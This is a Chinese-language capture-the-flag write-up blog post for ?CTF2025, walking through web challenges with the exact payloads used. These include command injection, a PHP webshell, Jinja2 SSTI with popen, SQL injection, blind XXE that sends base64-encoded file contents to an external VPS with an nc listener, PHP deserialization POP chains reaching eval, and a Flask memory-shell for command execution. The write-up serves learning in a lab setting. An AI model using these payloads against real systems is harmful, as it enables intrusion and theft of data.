Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
3294 字
16 分钟
?CTF2025
2025-10-25
统计加载中...

第一次打的比赛

[Week1] Gitttttttt#

题目明显提示为git漏洞,所以我们直接使用Githack,输入payload

python githack.py http://challenge.ilovectf:xxxxx/.git/

即可获得一个.txt文件

打开即可获得flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week1] Ping??#

打开网址后是这样一个界面

我们首先输入127.0.0.1尝试,回显为

然后输入127.0.0.1|ls,回显为

接着输入127.0.0.1|cat /flag.txt,回显含有敏感信息,那么我们使用通配符尝试。

127.0.0.1|cat f*,成功获得flag:

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week1] from_http#

打开网站后说用?CTFBrowser浏览器访问,所以我们在hackbar中修改UA为?CTFBrowser

然后叫我传参,所以我在url后加上了 ?welcome=to

又叫我post传参,然后我便post the=?CTF

接着修改 Cookie=happiness

添加 Referer:?CTF,得到

然后我们用 X-Forwarded-For伪造ip,得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week1] secret of php#

在附件中发现Flll4g.php,我们直接访问http://challenge.ilovectf.cn:30819/Flll4g.php得到

接着我post a=240610708&b=QLTHNDT,过了第一关

接着我post以下参数与值,得到flag

aa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&bb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&aaa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
&bbb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week1] 前端小游戏#

此题说是前端小游戏,所以我F12打开查看页面源码,发现疑似flag的base64字符串

将其放到Cyberchef中转化得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week1] 包含不明东西的食物?!#

这是进入页面的样子,我随便输入一个 flag.txt后, 回显为

查看页面源码后,发现flag就在flag.txt中所以我尝试路径遍历,输入/../../../../flag.txt,成功获取flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week2] Look at the picture#

通过路由www.zip获取到源码,发现php://filter没有被禁用,而base64被禁用,所以最终payload为

php://filter/convert.utf-8.utf-16/resource=/flag

得到flag:

flag{Y0U_gE7_7HE_Fi1ter}

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week2] Only Picture Up#

这是个文件上传漏洞题,我发现将文件后缀改为.png便可上传一句话木马,

所以我新建了.txt文件,内容为,然后命名为1.png,上传成功

点击preview,再在url中加上&x=system(‘ls /’);列出根目录的文件,即

http://F/?preview=1.png&x=system('ls /');

回显为

发现flag目录

然后我们修改x值为system(‘cat /FL4g94’);,便可得到flag:

flag{a0638f77-7cb6-408e-ae7e-c94471e36c8f}

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week2] Regular Expression#

第一关是正则表达式的匹配,且长度要为40,所以我最终参数

?=-ctf<%0A>>>>>h12!!!!!!!!!!@email.com%20flaga

进入第二关,需要preg的值匹配题中字符串,且preg长度大于77.

最终preg=Please\%20777[abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz][abcdefghijklmnopqrstuvwxyz]\W%2bme\W%2bFlaggg0

得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week2] 留言板#

题目简介中提到jinjia2,所以我输入{{7*7}}测试,发现为jinja2模板引擎

由源码可知,此题留言内容参数为message,传输到/ssti路由。

然后我便构造基本payload

{{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen('ls').read()}}

发现引号被过滤,所以我们修改payload为

{{[].__class__.__base__.__subclasses__()[156].__init__.__globals__.popen(request.args.cmd).read()}}

然后在url末尾加上?cmd=ls /,得到

发现flag,所以最终?cmd=tac /flag,得到flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week2] 登录和查询#

获取字典
burp抓包,导入字典爆破密码
发现密码为admin123
然后传参

?id=' union select group_concat(flag),null,null from flags --+

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week2] 这是什么函数#

在本题源码中,我们可以看到有个/pollute路由,接着通过我上网查找,发现这是一个原型链污染题型。

“简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。”

我用dirsearch扫出了/src和/flag,以下是/src下的网页,

from flask import Flask, request, render_template
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
with open('/flag', 'r') as f:
flag = f.read().strip()
if cat == dog:
return flag
else:
return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data), instance)
else:
return "fail"
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

可以看见当cat==dog时,可以在/flag下获取flag。那么要怎么做呢?

题目是原型链污染,那就是说我们要从/pollute下污染原型链,使cat与dog的值相等,使/flag中显示flag。

首先看/pollute页面,首先post传入的值需要是json格式,比如{“example”:“haha”},然后就会调用到merge函数。merge函数的作用是合并输入的json格式内容与instance。我们先通过__init__找到函数对象,然后通过__globals__访问全局变量,也就是原型链,最后修改cat和dog的值,也就是通过原型链污染修改全局变量,使其相等,最后的payload就是{“__init__”:{“__globals__”:{“cat”:“same”,“dog”:“same”}}},然后就能得到flag了。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week3] 查查忆#

查看源码可发现

既然题目说了是xxe,那么就直接打xxe,最基础的xxe payload如下:

页面payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANYTHIN [
<!ENTITY % aaa SYSTEM "http://vps-ip:port1/1.dtd">
%aaa;
]>

1.dtd内容:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://vps-ip:port2/%file;'> ">
%dtd;
%vps;

然后在自己的服务器中(公网)打开两个命令行(dtd文件在哪就在哪里打开),在第一个命令行中输入:

python -m http.server <port1>

在第二个命令行中输入:

nc -lvp <port2>

输入payload点击查询后,发现无法xxe

那肯定是过滤了某些关键词,经过一番尝试,我发现被过滤了,那么就得想办法绕过。

我首先想到的是用xml注释把关键词分隔,但是这样在语法上时行不通的,那还有什么办法呢?我们发现xml第一行有个encoding=“xxx”,那么我们将dtd部分转化为其他格式不就行了。我上网搜索了一下发现用的多的是utf-7,那么我们将正文内容转化为utf-7编码即可。

cat 1.xml | iconv -f utf-8 -t utf-7 > payload.xml
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE ANYTHING +AFs
+ADwAIQ-ENTITY +ACU aaa SYSTEM +ACI-http://47.118.31.122:9023/2.dtd+ACIAPg
+ACU-aaa+ADs
+AF0APg-

将这段payload填入即可

base64解码后便可获取flag:

flag{cb2e90bc-de2f-41a6-9627-e28e4c49b05a}

🚀最后谈谈为什么需要使用base64编码回显flag。我的payload最终flag回显在我dtd文件中写的%file的位置,而%file又是在dtd中。首先我们要知道,DTD在SYSTEM标识符中对字符极为敏感,< > & ” ’ \n 等字符会直接破坏DTD解析,因此需要将 flag 编码为仅包含安全字符的形式。flag中可能含有各种字符,比如{}&@!?-等,所以我们最好是使用base64编码flag后再回显。然后谈谈内部xxe,内部xxe最终flag显示位置再正文文本中,就比如这个payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANYTHING [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<aaa>&xxe;</aaa>

这个最终flag回显在正文部分,所以是安全的,无需base64编码。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week3] 魔术大杂烩#

<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
public function __construct($Jinzhengu){
$this -> Jinzhengu = $Jinzhengu;
}
public function __call($name, $arg){
echo "Nice Xianggu!</br>";
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
}
}
class Huluobo{
public $HuLuoBo;
public function __set($key,$arg){
echo "Nice Huluobo!</br>";
eval($arg);
}
}
if (isset($_POST['eat'])){
unserialize($_POST['eat']);
}

这是一串php代码,可见这是php反序列化漏洞题。在最后的Huluobo中可以发现”eval”,可以通过它执行php代码。那么我们的目标就是通过构造pop链直到eval。由于序列化只关注对象的属性与值,所以我们将其function去除,得到下面一串php代码。

<?php
class Wuhuarou{
public $Wuhuarou;
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
}
class Baicai{
public $Baicai;
}
class Wanzi{
public $Wanzi;
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
}
class Huluobo{
public $HuLuoBo;
}
$a = new Huluobo();
$b = new Xianggu();
$b -> Jinzhengu = "system('cat /flag');";
$b -> Xianggu = $a;
$c = new Wanzi();
$c -> Wanzi = $b;
$d = new Baicai();
$d -> Baicai = $c;
$e = new Fentiao();
$e -> Fentiao = $d;
$f = new Wuhuarou();
$f -> Wuhuarou = $e;
echo urlencode(serialize($f));
?>

🚀我来具体讲讲这个pop链是如何构造出来的。

①从Huluobo类开始,里面有个魔术方法是__set(),是当给一个不可访问或不存在的对象赋值时自动触发,浏览所有类发现在Xianggu类中存在这个事件

$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;

Bailuobo对象不存在,而且还给它赋值,所以会触发__set();__set($key,$arg)中,$key=Bailuobo的值,$arg=Jinzhengu的值

②然后走到Xianggu类中看__construct()是创建新类时自动触发,这里用不到,我们看__call(),它是当调用一个不存在的方法时自动触发的魔术方法,发现在Wanzi类中存在此事件

class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}

Xianggu()方法不存在,故会触发__call();

③在Xianggu类中,有__invoke()魔术方法,它是当一个对象被当作函数调用时自动触发,发现Baicai类中有此事件

class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}

Baicai存在且被当作函数调用,所以会触发__call();

④现在走到Baicai类中,有__get(),它是当调用一个不存在或不可访问的对象时自动触发,发现Fentiao类中可存在此事件

class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}

当我们不给Hongshufentiao赋值时,他就是不存在的。最后调用时就会触发__get();

⑤在Fentiao类中,有个__toString(),它是当一个对象被当作字符串输出时自动触发,而echo便能做到此事,在Wuhuarou类中存在

class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}

echo $this -> Wuhuarou是将此类中的Wuhuaruo对象当作字符串输出,故会触发__toString();

⑥Wuhuarou类中有__wakeup()方法,它是当对象被反序列化之后自动调用这个方法,而unserialize便可以做到。到此,pop链便可构造出来。

成功获取flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week3] 这又是什么函数#

扫路由扫到/src,进入直接看到源码

from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/doit', methods=['GET', 'POST'])
def doit():
e = request.form.get('e')
try:
eval(e)
return "done!"
except Exception as e:
return "error!"
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

可发现在/doit路由下,post参数e可执行一句python代码,那么这里便有两种做法,一种是布尔盲注,一种是内存马注入。先试试第一种,以下是poc,可以直接注出flag

import requests
url = "http://challenge.ilovectf.cn:30009/doit"
flag='flag{'
ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-@&?!"
for i in range(5,50):
for c in ch:
payload = f"print(1) if open('/flag').read()[{i}]=='{c}' else 1/0"
resp = requests.post(url,data={'e':payload})
if 'done!' in resp.text:
flag+=c
print("flag:",flag)
break
else:
break
print("RESULT:",flag,"}")

另一个就是内存马,payload为:

e=app.view_functions.__setitem__('index', lambda:open('/flag').read())
'''
eval("app.view_functions.__setitem__('index', lambda:open('/flag').read())")相当于
exec("app.view_functions['index']=lambda:open('/flag').read()")
其中app也可以替换为:
__import__('sys').modules['__main__'].__dict__['app'],也就是获取app对象
'''

回到主页面便可发现flag。这个payload相当于是直接篡改flask的路由表,’/‘路由在python中基本上是使用index

@app.route('/')
def index(): //若这里的index是abc,那么payload中的index就是abc,二者需保持一致
return "hello world"

这个payload也可以:

e=app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd')).read())
#post之后传参cmd=cat /flag即可获取flag
#这里app也可以用__import__('sys').modules['__main__'].__dict__['app']替换

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[Week4] Path to Hero#

<?php
highlight_file('index.php');
Class Start
{
public $ishero;
public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}
class Sword
{
public $test1;
public $test2;
public $go;
public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}
class Mon3tr
{
private $result;
public $end;
public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}
class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}
if (isset($_POST["HERO"])) {
unserialize($_POST["HERO"]);
}

这是题目源码,可以发现在Treasure类中有可RCE的地方,也就是eval($arg[0])。

①Treasure类中存在__call($name,$arg[0]),发现在Mon3tr类中有调用不存在的方法end(),所以可触发;其中arg[0]的值就是end的值。

②Mon3tr类中,发现end存在关键词过滤,其中几乎所有可获取flag的命令执行语句,这里我想到有两种方法,一种是用base64编码绕过,另一种是使用passthru('grep fla /f*');然后可触发此类中__toString()方法的是Sword类中的echo $this -> go;

③Sword类中的__get()又可由Start类中的return $this->adventure->sword; 触发。至此,pop链形成

<?php
class Start
{
public $ishero;
public $adventure;
}
class Sword
{
public $test1;
public $test2;
public $go;
}
class Mon3tr
{
public $end;
}
$b = new Mon3tr();
$cmd = "system('cat /flag');";
$b64_cmd = base64_encode($cmd);
$b -> end = "eval(base64_decode(\"$b64_cmd\"));";
/*或者这种写法
$b = new Mon3tr();
$b -> end = "passthru('grep fla /f*');";
*/
$c = new Sword();
$c -> test1 = "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
$c -> test2 = "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak";
$c -> go = $b;
$d = new Start();
$d -> ishero = "hero123";
$d -> adventure = $c;
echo urlencode(serialize($d));

?CTF2025
https://fsteinsgate.cn/posts/qctf2025/
作者
F0r7yn
发布于
2025-10-25
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时